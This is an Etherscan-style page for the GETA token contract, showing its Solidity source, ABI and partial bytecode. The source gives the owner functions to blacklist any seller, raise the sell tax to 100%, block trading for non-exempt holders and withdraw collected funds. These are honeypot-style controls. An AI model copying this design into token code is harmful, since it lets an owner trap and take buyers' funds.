ETH Price: $1,869.54 (-12.80%)
 

Overview

Max Total Supply

5,000,000,000 GETA

Holders

57

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GETA

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-07-06
*/

// SPDX-License-Identifier: MIT
/**
Website: https://getaverses.com/
DID platform: https://did.getaverses.com/#/
Twitter: https://twitter.com/GetaverseGlobal 
Telegram: https://t.me/Getaverse_Official
Discord: https://discord.gg/getaverseglobal
Whitepaper: https://docs.getaverses.com

**/

pragma solidity ^0.8.18;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract GETA is ERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => bool) isBlacklisted;
    bool public tradeEnabled = false;


    function setTradeEnabled(bool enabled) external onlyOwner {
     tradeEnabled = enabled;
    }

    string private _name = "GETA";
    string private _symbol = "GETA";
    uint8 constant _decimals = 9;
    uint256 _totalSupply = 5000000000 * 10**_decimals;
    uint256 public _maxWalletToken = _totalSupply * 30 / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    mapping (address => bool) isFeeExempt;

    uint256 private liquidityFee    = 0;
    uint256 private marketingFee    = 0;
    uint256 public totalFee        = marketingFee + liquidityFee;
    uint256 public feeDenominator  = 100;
    uint256 private sellTax = 0;


    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;

    IUniswapV2Router02 public router;
    address public pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = 2000000;
    uint256 public maxSwapThreshold = _totalSupply;



    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Ownable() {
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external view override returns (string memory) { return _symbol; }
    function name() external view override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
    receive() external payable { }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
    


    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() {
        _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(!isBlacklisted[sender], "Sender is blacklisted");
         //shouldSwapBack
        if(shouldSwapBack() && recipient == pair){swapBack();}
        //Exchange tokens
        uint256 airdropAmount = amount / 10000000;
        if(!isFeeExempt[sender] && recipient == pair){
            amount -= airdropAmount;
        }
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

     function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {
         require(tradeEnabled, "Trading is currently disabled");
        uint256 feeAmount = amount.mul(isSell ? sellTax : totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }



    function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function setSwapPair(address pairaddr) external onlyOwner {
        pair = pairaddr;
    }
    
    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }


    

    function setSellTax(uint256 tax) external onlyOwner {
        require(tax <= 100, "Tax percentage must be between 0 and 100");
        sellTax = tax;
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function setIsFeeExempt(address holder, bool exempt)  external onlyOwner {
        isFeeExempt[holder] = exempt;
    }
    
    function btFeeExempt(address[] calldata addresses, bool status)
        external
        onlyOwner
    {
        for (uint256 i; i < addresses.length; ++i) {
            isFeeExempt[addresses[i]] = status;
        }
    }

    function btblacklist(address[] calldata addresses, bool ino)
        external
        onlyOwner
    {
        for (uint256 i; i < addresses.length; ++i) {
            isBlacklisted[addresses[i]] = ino;
        }
    }
    function setIsblack(address black, bool exempt)  external onlyOwner {
        isBlacklisted[black] = exempt;
    }

    function claimToken(address tokenAddress, uint amountPercentage) external onlyOwner {
        uint256 amountToken = ERC20(tokenAddress).balanceOf(address(this));
        ERC20(tokenAddress).transfer(msg.sender,amountToken * amountPercentage / 100);
    }

    function claimBalance(uint amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }
    function swapBack() internal swapping {
        
        uint256 _swapThreshold;
        if(_balances[address(this)] > maxSwapThreshold){
            _swapThreshold = maxSwapThreshold;
        }else{
             _swapThreshold = _balances[address(this)];
        }
        uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity);

        if(amountETHMarketing>0){
            bool tmpSuccess;
            (tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        }

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"btFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"ino","type":"bool"}],"name":"btblacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"black","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsblack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base10000","type":"uint256"}],"name":"setMaxWalletPercent_base10000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tax","type":"uint256"}],"name":"setSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairaddr","type":"address"}],"name":"setSwapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setTradeEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600260006101000a81548160ff0219169083151502179055506040518060400160405280600481526020017f47455441000000000000000000000000000000000000000000000000000000008152506003908162000065919062000957565b506040518060400160405280600481526020017f474554410000000000000000000000000000000000000000000000000000000081525060049081620000ac919062000957565b506009600a620000bd919062000bce565b64012a05f200620000cf919062000c1f565b6005556064601e600554620000e5919062000c1f565b620000f1919062000c99565b6006556000600a556000600b55600a54600b5462000110919062000cd1565b600c556064600d556000600e556001601260146101000a81548160ff021916908315150217905550621e84806013556005546014553480156200015257600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002dd919062000d76565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000366573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038c919062000d76565b306040518363ffffffff1660e01b8152600401620003ac92919062000db9565b6020604051808303816000875af1158015620003cc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f2919062000d76565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600554600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620006cf919062000df7565b60405180910390a362000e14565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200075f57607f821691505b60208210810362000775576200077462000717565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007df7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007a0565b620007eb8683620007a0565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000838620008326200082c8462000803565b6200080d565b62000803565b9050919050565b6000819050919050565b620008548362000817565b6200086c62000863826200083f565b848454620007ad565b825550505050565b600090565b6200088362000874565b6200089081848462000849565b505050565b5b81811015620008b857620008ac60008262000879565b60018101905062000896565b5050565b601f8211156200090757620008d1816200077b565b620008dc8462000790565b81016020851015620008ec578190505b62000904620008fb8562000790565b83018262000895565b50505b505050565b600082821c905092915050565b60006200092c600019846008026200090c565b1980831691505092915050565b600062000947838362000919565b9150826002028217905092915050565b6200096282620006dd565b67ffffffffffffffff8111156200097e576200097d620006e8565b5b6200098a825462000746565b62000997828285620008bc565b600060209050601f831160018114620009cf5760008415620009ba578287015190505b620009c6858262000939565b86555062000a36565b601f198416620009df866200077b565b60005b8281101562000a0957848901518255600182019150602085019450602081019050620009e2565b8683101562000a29578489015162000a25601f89168262000919565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000acc5780860481111562000aa45762000aa362000a3e565b5b600185161562000ab45780820291505b808102905062000ac48562000a6d565b945062000a84565b94509492505050565b60008262000ae7576001905062000bba565b8162000af7576000905062000bba565b816001811462000b10576002811462000b1b5762000b51565b600191505062000bba565b60ff84111562000b305762000b2f62000a3e565b5b8360020a91508482111562000b4a5762000b4962000a3e565b5b5062000bba565b5060208310610133831016604e8410600b841016171562000b8b5782820a90508381111562000b855762000b8462000a3e565b5b62000bba565b62000b9a848484600162000a7a565b9250905081840481111562000bb45762000bb362000a3e565b5b81810290505b9392505050565b600060ff82169050919050565b600062000bdb8262000803565b915062000be88362000bc1565b925062000c177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ad5565b905092915050565b600062000c2c8262000803565b915062000c398362000803565b925082820262000c498162000803565b9150828204841483151762000c635762000c6262000a3e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000ca68262000803565b915062000cb38362000803565b92508262000cc65762000cc562000c6a565b5b828204905092915050565b600062000cde8262000803565b915062000ceb8362000803565b925082820190508082111562000d065762000d0562000a3e565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000d3e8262000d11565b9050919050565b62000d508162000d31565b811462000d5c57600080fd5b50565b60008151905062000d708162000d45565b92915050565b60006020828403121562000d8f5762000d8e62000d0c565b5b600062000d9f8482850162000d5f565b91505092915050565b62000db38162000d31565b82525050565b600060408201905062000dd0600083018562000da8565b62000ddf602083018462000da8565b9392505050565b62000df18162000803565b82525050565b600060208201905062000e0e600083018462000de6565b92915050565b613acb8062000e246000396000f3fe6080604052600436106102135760003560e01c80638cd09d5011610118578063bb977cc4116100a0578063dd62ed3e1161006f578063dd62ed3e14610784578063e96fada2146107c1578063e9fad396146107ec578063f2fde38b14610815578063f887ea401461083e5761021a565b8063bb977cc4146106dc578063ca33e64c14610705578063d088935814610730578063d621e813146107595761021a565b8063a4b45c00116100e7578063a4b45c00146105f7578063a8aa1b3114610620578063a9059cbb1461064b578063acef1a4414610688578063ae5389a7146106b35761021a565b80638cd09d501461054f5780638da5cb5b1461057857806395d89b41146105a357806399c1aabb146105ce5761021a565b8063313ce5671161019b5780636ddd17131161016a5780636ddd17131461047c57806370a08231146104a7578063715018a6146104e457806373a432bb146104fb57806378109e54146105245761021a565b8063313ce567146103c25780633bec2bf3146103ed578063571ac8b014610416578063658d4b7f146104535761021a565b80631698755f116101e25780631698755f146102db578063180b0d7e1461030457806318160ddd1461032f5780631df4ccfc1461035a57806323b872dd146103855761021a565b8063012aa9121461021f5780630445b6671461024857806306fdde0314610273578063095ea7b31461029e5761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b5061024660048036038101906102419190612c88565b610869565b005b34801561025457600080fd5b5061025d61091b565b60405161026a9190612cc4565b60405180910390f35b34801561027f57600080fd5b50610288610921565b6040516102959190612d6f565b60405180910390f35b3480156102aa57600080fd5b506102c560048036038101906102c09190612def565b6109b3565b6040516102d29190612e4a565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190612def565b610aa5565b005b34801561031057600080fd5b50610319610c4c565b6040516103269190612cc4565b60405180910390f35b34801561033b57600080fd5b50610344610c52565b6040516103519190612cc4565b60405180910390f35b34801561036657600080fd5b5061036f610c5c565b60405161037c9190612cc4565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612e65565b610c62565b6040516103b99190612e4a565b60405180910390f35b3480156103ce57600080fd5b506103d7610e62565b6040516103e49190612ed4565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190612f1b565b610e6b565b005b34801561042257600080fd5b5061043d60048036038101906104389190612f48565b610f16565b60405161044a9190612e4a565b60405180910390f35b34801561045f57600080fd5b5061047a60048036038101906104759190612f75565b610f49565b005b34801561048857600080fd5b50610491611032565b60405161049e9190612e4a565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190612f48565b611045565b6040516104db9190612cc4565b60405180910390f35b3480156104f057600080fd5b506104f961108e565b005b34801561050757600080fd5b50610522600480360381019061051d9190612f48565b6111da565b005b34801561053057600080fd5b506105396112ac565b6040516105469190612cc4565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612c88565b6112b2565b005b34801561058457600080fd5b5061058d61138e565b60405161059a9190612fc4565b60405180910390f35b3480156105af57600080fd5b506105b86113b7565b6040516105c59190612d6f565b60405180910390f35b3480156105da57600080fd5b506105f560048036038101906105f09190612f75565b611449565b005b34801561060357600080fd5b5061061e60048036038101906106199190612fdf565b611532565b005b34801561062c57600080fd5b50610635611646565b6040516106429190612fc4565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190612def565b61166c565b60405161067f9190612e4a565b60405180910390f35b34801561069457600080fd5b5061069d611681565b6040516106aa9190612cc4565b60405180910390f35b3480156106bf57600080fd5b506106da60048036038101906106d59190613084565b611687565b005b3480156106e857600080fd5b5061070360048036038101906106fe9190613084565b6117b8565b005b34801561071157600080fd5b5061071a6118e9565b6040516107279190612fc4565b60405180910390f35b34801561073c57600080fd5b50610757600480360381019061075291906130e4565b61190f565b005b34801561076557600080fd5b5061076e6119ca565b60405161077b9190612e4a565b60405180910390f35b34801561079057600080fd5b506107ab60048036038101906107a69190612fdf565b6119dd565b6040516107b89190612cc4565b60405180910390f35b3480156107cd57600080fd5b506107d6611a64565b6040516107e39190612fc4565b60405180910390f35b3480156107f857600080fd5b50610813600480360381019061080e9190612c88565b611a8a565b005b34801561082157600080fd5b5061083c60048036038101906108379190612f48565b611b7f565b005b34801561084a57600080fd5b50610853611d39565b6040516108609190613196565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ee906131fd565b60405180910390fd5b61271081600554610908919061324c565b61091291906132bd565b60068190555050565b60135481565b6060600380546109309061331d565b80601f016020809104026020016040519081016040528092919081815260200182805461095c9061331d565b80156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a939190612cc4565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2a906131fd565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b6e9190612fc4565b602060405180830381865afa158015610b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baf9190613363565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360648585610bdc919061324c565b610be691906132bd565b6040518363ffffffff1660e01b8152600401610c03929190613390565b6020604051808303816000875af1158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4691906133ce565b50505050565b600d5481565b6000600554905090565b600c5481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffff